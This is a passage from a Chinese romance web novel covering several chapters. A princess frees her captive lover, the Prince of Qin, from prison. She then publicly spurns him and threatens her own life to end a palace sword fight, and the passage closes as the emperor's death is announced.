显然因为心虚,程良此刻的眼里尽是躲闪,想了一瞬,终还是老实地朝其回话道:“属下在天牢里想尽了各种办法,始终都无法联系上陆少主。于是,永宁公主便拿着殿下的腰牌帮属下派人去联系,让陆少主今夜在城门口处等候接应殿下。后面,也都是……都是永宁公主,她怕夜长梦多,便安排人带我们出狱,并且一路畅通连夜出了城。” 轩辕翰一听,顿时发出一阵雷霆之怒来道:“荒唐,你怎么能任由她做这般危险的事?” 想起元宵节之夜,他始终都一言不发,为的就是让衣上云深信不疑那些火药是自己安排人所设的,她理应恨自己,可如今她为何却要救自己,且将一个女人一生中最美好的东西亦全都给予了自己。 于是,心中顿想到了一定是有人告诉了她真相,于是深信不疑地瞪向程良的脸朝其质问道:“你……是不是你告诉了她那些事……” 见显然已再瞒不住这个主子,程良此刻似是深觉懊恼极了,紧张又抱歉地道:“属下……属下只是心疼殿下,不想公主误会了殿下您,便将整个事情的起因经过的真相告诉了她。可属下也没料到,那永宁公主竟然会这么做。” 程良说话的声音越来越低,遂默想了一瞬,心存着一丝丝侥幸,亦是想要安慰轩辕翰,便对其说道:“其实,殿下也无需太过于担心,衣姑娘如今已然贵为东宁国君最疼爱的公主。想必,就算是看在其已故嫡皇后娘娘的份上,东宁国君他,他应该也不会为难公主,将她怎么样的!” 轩辕翰此刻后悔极了,自从在天牢里情不自禁,真正拥有了彼此之后,本来还想与她说些什么。 却不想被她在亲手奉上一盏茶之后,自己便就昏昏欲睡了过去。 如今细细想来,那盏茶水,也定是她早已准备好的。 此刻,轩辕翰似是瞬间终于明白了一切,然脑袋里同时也顿觉混乱一片,只觉头痛欲裂,他伸手狠狠拍了拍自己的头,想要更清醒一点儿,怒斥着程良道:“怎么办事的?谁让你告诉她那些的?你知道如此一来,她如今独自一人身处在深宫之中,现在的处境有多危险?” 程良乃是一介粗人,亦尚还不知衣上云如今已然成了这个主子真正的女人。遂一脸懵地将目光移到轩辕翰的脸上,一副完全不知的样子。 轩辕翰沉声说道:“如今,我们的身份暴露,彻底激化了与东宁国的关系,而那南安太子又乘机与那梅志煊结盟,身处在东宁皇宫里整日对云儿逼婚,况且,云儿如今已然将自己……她已是本王的人。” “她已是本王的人!”闻此,程良瞬间看向他的眼睛朝其惊呆了,口中惊诧地道:“什么?衣姑娘她,已是殿下的……” 就连此刻同乘着一驾马车的陆天麟,亦是忽地瞪大了眼睛顿望向他的脸。 而一念至此,忽然收声下来的轩辕翰,仿佛自己亦是忽然之间才明白了衣上云方才在狱中对自己所说的那句话,遂在耳边再一次回响起来:“既然殿下铁了心不要云儿了,那接下来,无论云儿做什么,都与殿下无关。” 遂心里默想着道:“云儿对本王情深义重,尔今她又将自己的身子给了本王,便就是说,她压根就根本不会答应与南安国的这桩联姻。可如今,整个东宁国的人都已经知道她与南安太子的这桩婚事。如此一来……” 似是对她接下来所处的环境连想都不敢继续往下想去,轩辕翰忽然怕的要命,渐渐瞪大了眼睛道:“宫里,除了梅志煊,还有那位一直对她虎视眈眈着的东宁继后。云儿,她一定不会让这桩联姻变成事实,那么,她该不会是想……” 一念至此,轩辕翰已然越想越害怕,明日便是定下的他原本被斩首示众的日子了,眼看着外面的夜色越来越浓,轩辕翰忽然惊声叫道:“不好,云儿有危险!快掉头回去!快!” 闻声,众人急忙复又急急回头,快马加鞭一齐朝来时的路上飞驰而去。 夜半三更。 到处一片寂静的清心殿里,香烟袅袅升起,肆意飘散蔓延着…… 忽闻榻上传出东宁国君似是在梦语一般的轻声道:“你是……你是皇后,嫡皇后,你是朕的嫡皇后!” 在其梦境里,身边周围到处皆是一片百鸟朝凤,七彩祥云围绕的神奇景象,仿佛就是天上某一处的宫阙一般。 烟雾缭绕中,伴随着声音,缓缓现身出一袭紫色纱裙,身形婀娜多姿的女子,朝其缓缓近身过去后笑着朝其曲膝行礼,并柔声细语地关切问候道:“皇上,许久不见,皇上可都安好?” 东宁国君上前两步,伸出手将其扶起,顺势定定地将女子仔细查看了一番,顿时喜不胜收,激动地道:“真的是你,你真的是朕的嫡皇后!你终于回来了,你知不知道,这些年来,朕有多么地想你。” 女子歉声着道:“对不起!夫妻一场,终是臣妾辜负了皇上的一片深情!” 闻此,许是听到了这句话,多年以来藏于心底深处的这份耿耿于怀终于得到了些许释然,东宁国君的眼睛竟忽然变得湿润了起来,遂捉起衣袖来轻轻将其拭了拭。 忽然,复又扬起一抹笑容来,道:“对了皇后,告诉你一个好消息,朕,终于将咱们的沧海遗珠寻回来了。咱们的公主,她如今的模样竟和你如同就是一个模子里刻出来的一样,你高兴吗?” 女子并未急着回答他的问题,而是面带着微微笑容反问他道:“那皇上高兴吗?” 东宁国君似是想都没有,脱口即出道:“高兴,当然高兴,皇后你不知道,朕的心里从未如此高兴过!这么多年,朕就连做梦都没有想到,竟然皇后还给朕留下这么好的一份礼物!” 说着说着,似是想起了什么,只见他忽然渐渐淡去了脸上的笑意,变作无限忧愁地犹犹豫豫道:“可是……可是……” 说着复又看向女子的脸,女子始终都保持着微微笑容,这一刻,似是已猜到了他的心思,顺着他的话茬接道:“可是,皇上眼下却遇上了解不开的难题,是吗?” 东宁国君点了点头,同时深深地叹了口气,缓缓继续说道:“皇后,我们的公主,她已经长大了,流落在西秦的日子里时,结识并喜欢上了一个不该喜欢的人。其实,那个人,他若不是敌国的将领,哪怕只是我东宁的一个普通臣民,朕亦定会成全了他们。可偏偏那个人……” 见到其一脸黯然神伤与为难,女子伸手过去扶住东宁国君的一只胳膊,一边陪其缓缓迈步朝前走,一边宽慰其道:“天下本无事,皆为庸人自扰之。既然如此为难,皇上,您何不遵从本心?” 闻此,东宁国君忽然放慢了脚步,道:“遵从本心?皇后的意思是……” 第四百七十八章:终于梦见她 “天下本无事,皆为庸人自扰之。既然都如此为难,皇上,那您何不遵从本心?” 闻此,东宁国君忽然放慢了脚步,道:“遵从本心?皇后的意思是……” 女子驻足,与其相互对视了一瞬,继而看似很认真地对其说道:“臣妾且问皇上,那一年,皇上为何不顾满堂朝臣的坚决反对,将毫无背景,身份微不足道的臣妾纳入后宫,且封为了皇后呢?” 即便是此时,东宁国君一想起当年的事情来,依旧甚感自豪,大快人心地道:“当然是因为皇后你医术高明,仁心仁术,亲自跋山涉水尝遍百草,历经艰辛万苦终觅得良方,才拯救了我万千东宁子民于那场水深火热的瘟疫之中。你的善良,你的乐善好施,你的决心,你的坚强与勇敢,无论哪一点,都担得起这个国家的皇后。” 女子微微一笑,道:“那只不过是臣妾遵从了自己的本心而已。” 接着又问:“那皇上又知不知道,惯爱自由自在,无拘无束的闲散生活的臣妾,当年又为何会愿意随您入宫呢?” 关于这个问题,东宁国君的确似是还真未认真思考过。于是蹙眉琢磨了一瞬,摇了摇头,猜测着道:“为何?莫非是因为你无家可归?” 女子极温柔地笑了笑,摇摇头,道:“虽然当年臣妾被人救起的时候,的确发现自己已然完全失忆,不知道自己是谁?可后来,真正让臣妾死心塌地愿意跟随皇上回宫的原因,是……因为爱。” 东宁国君听了,不解地跟随其重复了一遍:“因为……爱!” 女子点点头,眼里对其满满都是崇拜和爱意:“因为臣妾是真心喜欢当年那个初见时,一袭白衣翩翩的少年。他敢想,敢做,敢担当。有勇,有谋,又毫无所畏惧。为护一城百姓,他不顾自己生命安危,于大疫之中,对百姓们不离不弃,始终与他的子民们在一起,同生死,共患难。尽自己所能,做着自己最大的努力,敢与天争!” 想起昔日过往,仿佛一切就发生在昨天。 紧接着,女子渐渐淡去了脸上的笑容,深深地叹了口气,继续道:“那时候的皇上,是最好的皇上。可许是岁月蹉跎,皇上已然年迈,诸事亦都有些心力交瘁,如今越发经不起许多事了。以至于如今,竟然想到要牺牲用一个女子去巩固自己的政权。” 闻此,东宁国君终于醒悟了过来,甚觉惭愧地道:“皇后,朕……” 女子挺胸抬头,凝视着他的眼睛,对其语重心长地道:“永宁她,虽身为一女子,可却又不是一般普通的女子。在永宁的身体里,住着来自另一个世界的灵魂,一个不属于这里的灵魂。她正直,自由,乐观,善良,勇敢。皇上要相信,永宁,她一定能比臣妾做的更好!” 东宁国君听着这些云里雾里的话,已然有些懵,只随其低声重复道:“永宁的身体里,住着来自另一个世界的灵魂……” 至此,女子嘴角微微上扬,忽然再次朝其扬起初时的笑容来,悠悠道:“父母之爱子,则为之计深远。但是皇上,切记任何时候,都不要与自己的本心背道而驰。臣妾知道,皇上心底是真的爱护着永宁的。” 见东宁国君已然陷入沉思,尚未待其反应过来,女子附手上去替东宁国君整理了一下衣袍,道:“好了,天就快要亮了,皇上早朝的时辰要到了,臣妾亦该回去了。臣妾相信,皇上一定知道自己该怎么做?” 说完,便转身恋恋不舍地朝后退了去。 东宁国君忽地抬头,只见女子竟随那七彩祥云缓缓飘向了远方,东宁国君急忙伸手出去欲将其挽留:“皇后,你要去哪儿?皇后,不要离开朕。不要……” 明明想要将她牢牢抓住,却任凭自己怎么努力,到最后什么都抓不住,无力极了,只能眼睁睁看着女子渐渐离去,消失在茫茫七彩云海之中。 一室寂静,清心殿里依旧传出一阵梦魇声来:“皇后,你要去哪里?不要走,不要留下朕孤零零地一个人在这冰冷的世上,不要走,不要……” “皇上,皇上。”在内侍的轻唤下,东宁国君终于缓缓从梦中醒了过来。 见其终于睁开了眼睛,内侍说道:“皇上您又做梦了!” 在其搀扶下,东宁国君慢慢起身来,恍然大悟般道:“做梦?是啊,多少年了,朕终于又在梦里见到嫡皇后娘娘了。” “都已经过去了这么多年,皇上至今还是对嫡皇后娘娘念念不忘,嫡皇后娘娘在天有灵,一定深感欣慰!”内侍一边给其更衣,一边道。 紧接着,一众奴才纷纷进来,侍奉东宁国君洗漱。 稍时,东宁国君一边朝书房的案边走去,一边似是忽然之间甚觉从未如此身轻如燕地迈着矫健的步伐便走边说起话来。 “是啊,嫡皇后娘娘,还有永宁,她们的确都是朕这一生之中最珍贵的无价之宝啊!如今,朕已然失去了嫡皇后,便再也不能失去永宁了!幸亏皇后拖了这个梦给朕,否则,怕是朕差点儿就铸成大错了!” 看到其心情已然不知有多久没有此时这般愉悦了,内侍虽然亦是高兴,却又不解地道:“昨儿夜里的奏章皇上不是都已经批阅完了吗?怎么今儿个一早起,便又进书房了?” 东宁国君笑而不语,心情极好,只自顾自落座下来,提笔挥洒落下行行有力且如同行云流水般的字迹于密折里,将其交到了内侍的手里。 看到东宁国君密密麻麻书于密折上的决定,侍卫顿时朝其瞪大了眼睛惊呆了,愣愣地道:“皇上当真决定要如此安排吗?” 东宁国君缓缓放下手中的笔来,起身颇为认真地道:“或许,当时朕是真的错了。若是朕表面上答应永宁放过秦王,却又命人背地里秘密处决了他。日后若被永宁知道了事实真相,怕是她这辈子都不会原谅朕。” 深深地叹了口气,继续说道:“此时,朕忽然觉得自己能够理解那秦王当时的心情了。当初,受璟帝派遣亲自带人来炸掉我东宁皇城时,起初他也一定和朕是同样的想法吧。如果他敢对东宁的子民动手,永宁也绝不会原谅他。所以,后来他才会放弃了原本的计划。如此看来,秦王,他是真的爱永宁。” 深吸口气,东宁国君心里默默地道:“只不过一个黄口小儿秦王都能如此,更何况是朕呢!” 可内侍却依旧满脸忧心忡忡道:“可放虎归山,皇上真的就不怕日后有一天,反遭虎噬吗?” 东宁国君想了想,坚信不疑地道:“只要有永宁在,便能保我东宁永世长宁!” 想起元宵之夜,内侍依旧后怕着道:“可不管怎么说,即便是现在,那些重型火药,属下至今想起来都甚觉后怕。” 闻此,东宁国君的脸色忽然沉了下来,目光定定地道:“你当真以为朕不知由那秦王亲自护送进城来的那批火药,是谁特意放进来的吗?” 闻此,一时间里,内侍似是已猜到了些什么,然等不及其说话,东宁国君忽然重重地咳了起来:“咳咳咳……” 见状,内侍忙跑到一边倒了一盏热茶过来,递到其手里,复又附手上去替其一边顺气,一边宽慰其道:“皇上莫要着急,还好此次什么都没有发生,已是万幸。” 东宁国君感慨地道:“唉!朕的两个儿子,终是没有一人能堪当重任。永宁,看来父皇只能将东宁托付给你了。江山如此飘摇,叫朕如何安心呢!” 就在这时,忽闻门外一疾步声传来,随之进来一名带刀侍卫,道:“启禀皇上,大事不好了。” 东宁国君闻声,顿回过头去朝其一看,问道:“发生了何事?” 那侍卫有些害怕,紧张地说道:“今日一大早,属下们去天牢里换班,发现……发现……” 见此,东宁国君心里顿时升起一种极不好的预感,追问道:“发现了什么?” 侍卫吞吞吐吐道:“发现天牢里的狱卒们不知为何,纷纷倒在地上一大片。那秦王轩辕翰,还有其侍卫,俱都不见了踪影。” “什么”只闻东宁国君大叫了一声后,忽地倒地,两名侍卫急急过去将他扶住。 其中那名内侍紧忙扬声急呼道:“太医,快传太医,快……” 而此时,在衣上云的宫里,刚刚梳妆打扮好坐在镜子前端详了自己的模样半晌后,正准备出门,不知为何,一起身来忽觉心口处传来一阵极难以承受的痛楚,她忙回座下去附手将心口处紧紧捂住,猜测着道:“不会是殿下遇到什么事了吧?” 稍作歇息,正欲再次起身出门,刚一抬屁股又被一阵急呼声叫住:“丫头,是不是你乘着夜里,放走了那秦王轩辕翰?” 话音刚落,便见易三少与梅志煊二人一前一后,出现在了她的面前。 衣上云似是心中对此早已料到,此时脸上便也没那么惊诧,只平常声音说道:“是又如何?不是又如何?” 第四百七十九章:死给你们三个看 不见其人先闻其声:“丫头,是不是你乘着夜里,放走了那秦王轩辕翰?” 衣上云似是心中对此早已料到,此时脸上便也没那么惊诧,只平常声音说道:“是又如何?不是又如何?” “如此这般,丫头你便是亲口承认秦王的确是你放的咯!你,你怎能如此糊涂行事。你可知……” 闻此,易三少惊诧地想要说些什么,却被梅志煊抢先开了口:“皇妹此举差矣,那西秦秦王乃是我东宁国重犯,怎能是你想放便就放了的?” 衣上云笑了笑,遂一双黑如点墨的眼眸骤然变得深沉起来,道:“哦?若是旁人不知元宵之夜的那批火药是怎么回事也就罢了,难道三皇子的心里亦是没有一点儿数吗?” 闻此,梅志煊心里忽顿了一下,遂看着易三少的脸继续假装若无其事地道:“皇妹此话怎讲?当晚的那批火药,可是太子殿下亲自带着我国护城军在城里秦王的一处隐蔽窝点搜得的。怎么?莫非,皇妹是在怀疑太子殿下故意栽赃陷害秦王,亦或者,是在怀疑我东宁的护城军对他移花接木?” 闻此,衣上云遂看了看易三少的眼睛,易三少心虚地急急将其躲闪开。 见此,衣上云冷冷笑了一阵,道:“我就知道,就算是父皇答应了放过秦王,你们俩,也绝对不会轻易放过他,不想,果然如此。” 默想了一瞬,虽心里有所不甘,但见事实已然如此,若是再继续追究下去,自是为难的人始终都是衣上云一人,于是,易三少心里默默做了决定。 不想衣上云此刻被梅志煊如此质问为难,他深深地吐了口浊气,说道:“也罢,反正那秦王此次就算不死,其东宁国一行亦是没有达成西秦璟帝所交待的任务,再回去西秦,亦定是无处再容身。索性,便就此放过他吧。这也算是,曾经相识一场,对先前我所犯下的错误做一点点弥补!” 看看衣上云与梅志煊俩人一个坐着,一个站立着,却都各自互不相看,怄着自己的气,互不理睬,易三少对衣上云追问道:“只是,我们的婚事,是不是也应该提上日程了?对了,这两日,我国使臣便就会抵达东宁,前来商量两国联姻的具体细节,丫头,你都有些什么想法,尽管与我说,我都会一一……” 见易三少此刻站在自己面前,对自己步步紧逼,不肯放过,衣上云心里着实对他厌恶至极。 心一横,索性便缓缓伸手挽起了衣袖,亮出了自己光洁的臂膀,将易三少后面的话全部都噎住,青天白日炸出一句道:“太子殿下请看,即便我如今已经不再是完璧之身,太子亦依然还是要我吗?” 易三少顿时目光定定地紧紧盯视着她的胳膊,见早已没有了那一抹纯洁神圣的红色,稍一回想,昨夜她在自己面前说要去天牢的一脸决绝表情,顿时悔青了肠子,瞬间咬牙切齿又极艰难地隐忍着心头的怒火看向她的眼睛道:“是昨天夜里,你们,在天牢,已经……” 衣上云根本从一开始便就并未打算就此对他多做什么解释,复又只自顾自地缓缓遮起了衣袖来。 忽然,易三少只觉心里堵得慌,有些喘不过气,遂疾步移动,将一拳重重地砸在了殿内的一根柱子上,咬牙切齿恨恨地道:“轩辕翰,我与你此生,势不两立。” 顿时间,梅志煊亦是同样被眼前忽然出现的这一幕惊呆了。没想到在眼前这个表面上看似弱不禁风的柔弱身躯里,竟然蕴藏着如此大的力量和勇气。 怕是世间的一般女子,没有几个敢为了自己的爱情,做如此牺牲的。 衣上云静了静,幽幽说道:“三少,其实仔细想一想,我们这一路走来,如此苦苦相逼,这又是何苦呢?” 易三少摇了摇头,似是依旧还不能相信自己的眼睛,道:“丫头,你为何要如此这般伤我?我的爱于你而言,竟就是那般地卑微么?以至于你为了那秦王轩辕翰,一个并不值得的人,竟……竟作践自己至此么?” “不值得的人?作践自己?三少为何每每一直都说秦王不值得我喜欢?你不是我,你又怎知与我而言,喜欢殿下,做殿下的女人就是在作践自己,就不值得了呢?”衣上云不以为然地反问其道。 就在易三少认为衣上云为了拒绝自己,竟然想到先委身于轩辕翰,做出这般有损名节的事情来而内心甚感愤愤不平,恼羞成怒,一时间又无处宣泄的时候,轩辕翰竟忽然只身一人出现在了衣上云的宫殿门口,听到了方才他们的所有谈话。 易三少一见到轩辕翰的身影,便恨得直牙痒痒。 衣上云亦似是觉察到了门口正有人跨过门槛缓缓朝自己的方向进来,于是皱了皱眉,缓缓将目光朝其移了过去。 顿时,她朝其瞪大了双眸,哗的一下站起身来,惊叫道:“殿下,此刻你不是应该早就已经出城了吗……为何,为何又会回来呢?” 轩辕翰终于见到了让自己心心念念放不下之人熟悉的脸,此刻却对其着实心疼极了。 一边缓缓走过来,一边一字一句地朝其问道:“本王回来,是想当面问清楚,昨夜于天牢之中,永宁公主是在故意戏耍本王吗?公主既然要做本王的女人,又将自己珍贵无比的身子给了本王,为何又要对本王如此绝情?竟让本王一个人离开?既然要走,自然是要一起走了!” 顿时间,俩人对视,四目含情,天雷勾动地火。 就在这时,梅志煊早已按捺不住自己心头的怒火,见他明明已经离开,竟然还胆敢再次回来:如此一次又一次挑战他的耐性,实在嚣张。 一念至此,梅志煊扬声喝道:“放肆,她乃是我东宁国的公主,岂能让你随便带走。竟然胆敢如此嚣张,轩辕翰,我看你是真的活得不耐烦了!” 而一边的易三少此刻目光亦早已因衣上云的失身,对眼前这个男人默默地变成了一把尖刀一般:“可恶,轩辕翰,你竟还胆敢回来……” 说着,俩人便满腹忿忿不平地一起朝其飞身了过去,三人瞬间拔出长剑,展开拳脚,上跳下窜着扭打较量了起来。 衣上云着急担心地一边大声阻止着,一边跟着其亦追出了大殿之外:“住手,都给我住手,不要打了,都不要再打了!” 眼看着梅志煊与易三少步步紧逼,轩辕翰并不怎么占据优势,加之,三人的比试很快便招来了皇宫里大量的护城军。 护城军进来,很快便对轩辕翰形成了包围之势,情急之下,衣上云忽然倏地伸手过去一把夺过了身旁一侍卫腰间的青铜剑,毫不犹豫地将那锋利的剑刃直接抵在了自己的脖颈上。 瞬间,所有人俱都将目光投向了她的身上。 “云儿,不要!” “丫头,不要!” “皇妹,不要!” 见此,轩辕翰与易三少,梅志煊三人几乎是朝其异口同声地道。 然衣上云却什么都不管不顾,眼神无比狠狠又坚定地道:“我看你们三个谁还敢动手,若是都还不收手,今日,我便即刻死给你们三个看。”这时,梅志煊首先收起了手里的长剑,遂一招手命护城军们将轩辕翰顿时围得水泄不通。 继而开口对衣上云道:“想让本皇子放了秦王也可以,除非……你留下。” 话音刚落,轩辕翰便一把将衣上云拉了过去堵在自己身后,对其斩钉截铁地道:“她是本王的女人,你休想打她的主意!” 梅志煊挑了挑眉,轻蔑地道:“那就且看看本皇子究竟能不能打她的主意?” 忽地,梅志煊肃声命令护城军们道:“来人,将逃犯秦王轩辕翰给本皇子拿下!” 闻此,衣上云复又急急上前一步反护住轩辕翰,对梅志煊的人马大喝一声道:“住手,本公主看谁敢动他!” 不想这小小身躯里所迸发出的力量着实惊人,竟令所有人顿时惊愣住,似是被什么定住了一般。 轩辕翰不明所以地惊看着衣上云的后面,想要将她心里所有的想法与主意全都打消掉,轻唤了她一声道:“云儿!” 衣上云并没有与他多说什么,甚至连头也没有回,只是嘴角一斜,似是云淡风轻地扬起一抹舒心的弧度来。 很快,却又将脸上的所有表情卸去,看着自己的前方一本正经地肃声朝梅志煊道:“我跟你回去便是,你放了他!” 轩辕翰一听大吃一惊,瞪大了眼睛看着她,几乎是以哀求的眼神道:“云儿万万不可。” 此刻并不见衣上云回头,亦看不见她的脸,不知道她心里究竟在盘算什么,只能再一次朝其哀求:“云儿,你答应过本王的,要跟本王回家,从此你我一生,一世,一双人,难道这么快便忘了?” 闻此,衣上云依旧只在心里默默地答道:“曾经与殿下一起走过的路,看过的月潜日升,说过的甜言蜜语,云儿此生永不相忘。” 确是想着想着,忽然间,她猛地回过了头去…… 第四百八十章:你说的,可都是真的? 仅片刻之间,衣上云的心中就闪过了无数个念头:灵空之争与她何干?护一方城池,保一城百姓又与她一弱女子有何干系?这一生,她只想随心所欲,携手与他一道过自己想要的平淡生活。而这一切,走到今天,如今已然再无可能…… 想着想着,一回过神来,她忽地猛回过头去昂首对轩辕翰一脸决绝地狠心说道:“秦王轩辕翰,你以为你是谁?” 此话一出,不仅是与其正四目相对视着的轩辕翰,就连其身旁两侧的易三少与梅志煊二人,亦是俱都对其这忽然而来的巨大转变一脸呆愣。 衣上云沉默了会儿,遂脸上扬起一抹轻蔑的浅笑来,道:“原本,念在本公主昔日里曾在西秦国多多少少受到了西秦的庇护,本公主便决定今日放你一马。可你若还不知道感恩,在此继续苦苦纠缠生事,本公主便要改变心意了!” 看着她对自己言语之间如此云淡风轻,仿佛俩人曾经一路走来所经历的艰难的过往,如今与她而言是那般的毫不在乎,轩辕翰难以置信极了。 他不相信她会对自己如此绝情,缓缓上前去伸出手扯了扯她的一只衣袖,看着她的侧脸道:“云儿,你这是怎么了?” 衣上云侧身对着他,此刻依旧脸上没有任何表情:“怎么了?秦王莫非是忘了,本公主曾经对你说过,无论本公主要做什么,都与你无关。” “既然殿下铁了心不要云儿了,那接下来,无论云儿做什么,都与殿下无关。”闻此,轩辕翰方才瞬间想起了这句话来。 于是刚一明白过来,昨夜衣上云为何会无厘头地说了那句话,便急忙朝其解释道:“不,云儿,本王并不是铁了心不要你了,那时候我们之间不是有误会嘛!可如今不同了,你已然与本王有了……” 等不及其将话说完,易三少听到此处在一旁张了张嘴,正想插话,启料衣上云忽地开口将其打断:“误会?什么误会?哪里有误会?” 看着眼前此刻一脸决绝冷酷无情,与昨夜天牢中对自己温柔热情判若两人的衣上云,轩辕翰着实惊诧极了。 他摇了摇头,始终不愿相信,于是上前两步霸气地将衣上云的身体忽地扳了过来面朝着自己。 一双骨节分明的大手紧紧捉住她的肩头,看着她的眼睛,满脸宠溺地道:“你这个惯爱骗人的小骗子,你方才说的都不是真的,你又在骗本王对不对?就像在西秦的时候一样,你心里明明一直都知道本王对你的心意,却就是不肯承认,可最后,你不还是都承认了是不是?是不是?” 衣上云使了使力,想要挣脱他的束缚,却因他抓的太紧没能撼动其丝毫,轩辕翰见其不说话,继续不放弃地追问着说:“云儿,你看着本王的眼睛,告诉本王,你的心里一直都是有本王的对不对?” 衣上云微微抬了抬眼眸,眼神依旧冷漠,言行举止间故意表现地多少有些不耐烦,说:“众人皆知,以前本公主那是虎落平阳遭犬欺,不幸沦落为西秦国的一名废柴丑女。自是为了能够在这世上活下去,也是不甘再遭人冷眼相看,便想着要接近于你,以此为依靠来博得些许别人的尊重。” 衣上云果然眼睛眨都不眨一下,顿了顿环视了一下周围高高的宫墙,不经意间扫到了一边的易三少,遂笑了笑,继续说:“可如今,我已然贵为东宁国最尊贵的女人,普天之下,只要是我想要的,便没有得不到的!更何况,我已与南安国太子有了婚约,便是南安国日后的太子妃,必将权倾天下。” 话说至此,挑了挑眉,心一横,索性一次便狠心到底道:“而你,只不过是那西秦璟帝身边一条摇尾乞怜,委曲求全的狗!试问,如今本公主还有何必要再继续攀附与你?本公主劝秦王,还是莫要在此喋喋不休,自取其辱,遭人厌恶!” 此番话一出,震惊了在场所有人。一时间里,周围顿时变得鸦雀无声,一片寂静。 没人能想到,一位尊如神袛,英勇神武的被世人传说为战神级人物,此刻会被一个女人在此当着众人的面羞辱至此。 显然,若不是因为她,轩辕翰早已离宫而去,或许,灵空四国亦还如当初最开始时一样,各自和平相处着。 可今日,为了带她一起回西秦,他却选择了冒险入宫来放手一搏。却不想,竟是如此这般的结果,他怎么都没有想到。 只见轩辕翰的脸色渐渐变得越来越阴沉,隐忍着心头巨大的侮辱,却还是紧紧捉着她的肩,最后几近咬牙切齿地沉声问道:“云儿,你说的,可都是真的?” 尽管此时,可一想到昨夜天牢里她对自己的百般温柔与体贴,总忍不住还想要问一句:“既然如此,那你为何昨夜在天牢里……” 启料话刚开口,早已按耐不住心头的愤怒的易三少丝毫不想再继续听到其下面的内容,便急急将其厉声打断:“轩辕翰,事到如今,难道你还没听懂永宁公主的话吗?还不快滚!此刻你若还不滚,小心即刻便被万箭穿心!” 说着,梅志煊便扬声立即下令道:“弓箭手准备!” 顿时间,从门外进来一个接一个,很快便将周围一圈又一圈地围满了整个院子,密密麻麻的护城军。 只见其个个一身铠甲,且都将手中的弓箭拉到满满,衣上云心里一惊,大声呵斥道:“都给本公主住手!” 然轩辕翰却似是对身边所正在发生着的一切危险俱都漠不关心,自顾自还想抱着最后一丝希望,凝视着衣上云的脸,犹如想要将接下来的她的话刻入心扉一般。 “云儿,本王最后再问你一次,你当真,从来都没有爱过本王,哪怕只是过去的一瞬间,一点点,都没有过吗?” 沉默了半晌,衣上云故作冷静紧紧地盯视着他的眼睛,一字一顿认真地回答他道:“从来没有!” “哼……”闻此,轩辕翰冷冷地笑了一阵,那笑声里极具讽刺与自嘲,所传出的却让人感觉满满都是无尽的失落与心碎。 半晌后,他终于缓缓地放开了自己的手,再也没有说一个字,转身脚步异常沉重地一步一步离去…… 望着其终于渐渐消失,从未有过如此落寞极了的背影,衣上云心疼地默默在心里道:“殿下,对不起!云儿这一生,已然再无可能离开这里,或许只有如此狠绝地对你,伤你,让你失望与我,恨透了我,殿下方才能安全的离开这个是非之地,回到属于自己的地方去。” 至此,梅志煊也似是终于长长的舒了口气,遂摆了摆手撤掉了所布下的所有护城军,与其一道走出了衣上云的宫殿。 这时,看到衣上云此刻的脸色极差,易三少忙上前将一手搭在其肩上,关切地道:“丫头,没事吧?” 衣上云摇了摇头,淡淡地道:“没事!” 易三少想起方才衣上云所说的那段话,顿时扬起一抹浅笑,沾沾自喜地说道:“丫头,我就知道,在你的心里,是有我的一席之地的。” 闻此,衣上云猛地回过神来看向他的眼睛,朝其一脸惊愣。 易三少深吸了口气,信誓旦旦地对其说道:“丫头,别担心。关于在天牢里所发生的事……我不会介意。只要你能忘记从前,愿意给我一个机会,给我们此次一个机会。此生,我一定会好好待你。只要是你,我都喜欢,无论你要我等多久,我都不嫌晚。” 衣上云眨了眨眼睛,先是愣了一会儿,发现易三少已然误解了自己。便着急地想要对其解释方才她说那番话真正的意图。 “不是,三少,你是不是有什么误会?刚刚我,我只是,只是为了平息宫里的一场不必要的争斗,才说了那样的话。你我之间,我想我早已经表达的够清楚了,自始至终,我根本从来就不曾喜欢过……” “嘘”未及其将话说完,易三少紧忙伸出两根细长的手指来,将其逼近放到衣上云温软的红唇上,将其余下的话全都阻止:“丫头,你永远不知道,为了你,我什么都能做到。” 霎时,一阵风吹过,将俩人身旁的一片残梅吹落,易三少温柔细心的一边替其将身上的粉紫色风衣上的红梅花瓣弹落,一边缓缓道:“其实,就算你答应与我成婚的条件,是放过秦王轩辕翰,原本我也打算背着你除掉他,因为只有这样,我才有可能拥有完完整整的你,而不是只拥有你的人。” 看着她此刻与自己互相对视着的真诚的眼睛乌黑发亮,仿佛瞬间又回到了初见她时的模样,一个真诚,善良,勇敢的女子。 遂顿了顿,脸上带着一丝笑意继续说:“可发生了这么多事,就在刚刚,见你为了救他,竟那般言语羞辱秦王,我这才发现,你对他,已然情深入骨。” 闻此,衣上云忽然觉得,从前的那个易三少仿佛又回来了:“三少……” 心里真的很难过,易三少道:“其实,你大可不必为了拒绝我,而将自己……” 衣上云咬了咬嘴唇,朝其致歉道:“三少,对不起……” 易三少黯然地道:“真希望有一日,你能与我说些除了对不起之外的话!” 一时间,衣上云不知该对他说些什么,无奈只得缓缓垂头下去。 却见易三少忽然渐渐面露起难色来…… 第四百八十一章:这颗棋子,怕是无用了! “可如此一来,今日便是你自己亲手断了你与秦王的未来。想那秦王睚眦必报,这一生怕是都不会再原谅你。”易三少面露难色着忧心道。 衣上云一边听着,整颗心都紧紧揪在一起,易三少所担心的,她又怎会不知? 当她决定要这样做的时候,自是早已想到日后会有什么样的后果。让他活着与怨恨自己,当然让他活着最重要,眼下,还有什么,能比保住他的性命更为重要呢? 沉默了一会儿,她亦无可奈何地缓缓说道:“我与秦王,许就如两条永无交集的平行线一般,命中注定今生都不可能会有什么未来!” 看着她已然还想竭力试图掩饰自己内心深深的痛楚,易三少眉头紧紧蹙起,发出重重地一声叹息,心疼地道:“丫头,在这份让人难以承受的爱里面,你未免也太苦了自己了!” “只要他能好好活着,即便就是再苦又有何惧?”心里暗暗想着,衣上云就此陷入沉默不再说一句话。 就在这时,一侍卫忽然满头大汗地急奔了进来,一进门便急急朝其俯首禀报道:“启禀公主,南安太子殿下。国君,国君他……” 见其神情慌张,说话又吞吞吐吐,衣上云顿觉有一种极不好的预感涌上心头,于是连忙回过神来紧张地看向那人问:“父皇,父皇怎么了?” 侍卫胡乱抹了一把脸上渗出的冷汗,心一横,咬牙朝其禀报道:“老国君,老国君驾崩了!” “什么?” 闻此,俩人瞬间面面相觑着惊呆了,一回过神来紧忙加快了脚步朝清心殿里赶去。 宫门外。 见轩辕翰失魂落魄地终于渐渐现身了出来,一直心急如焚地等待在暗处一角的程良与陆天麟疾步奔上前去相迎:“殿下终于出来了!” 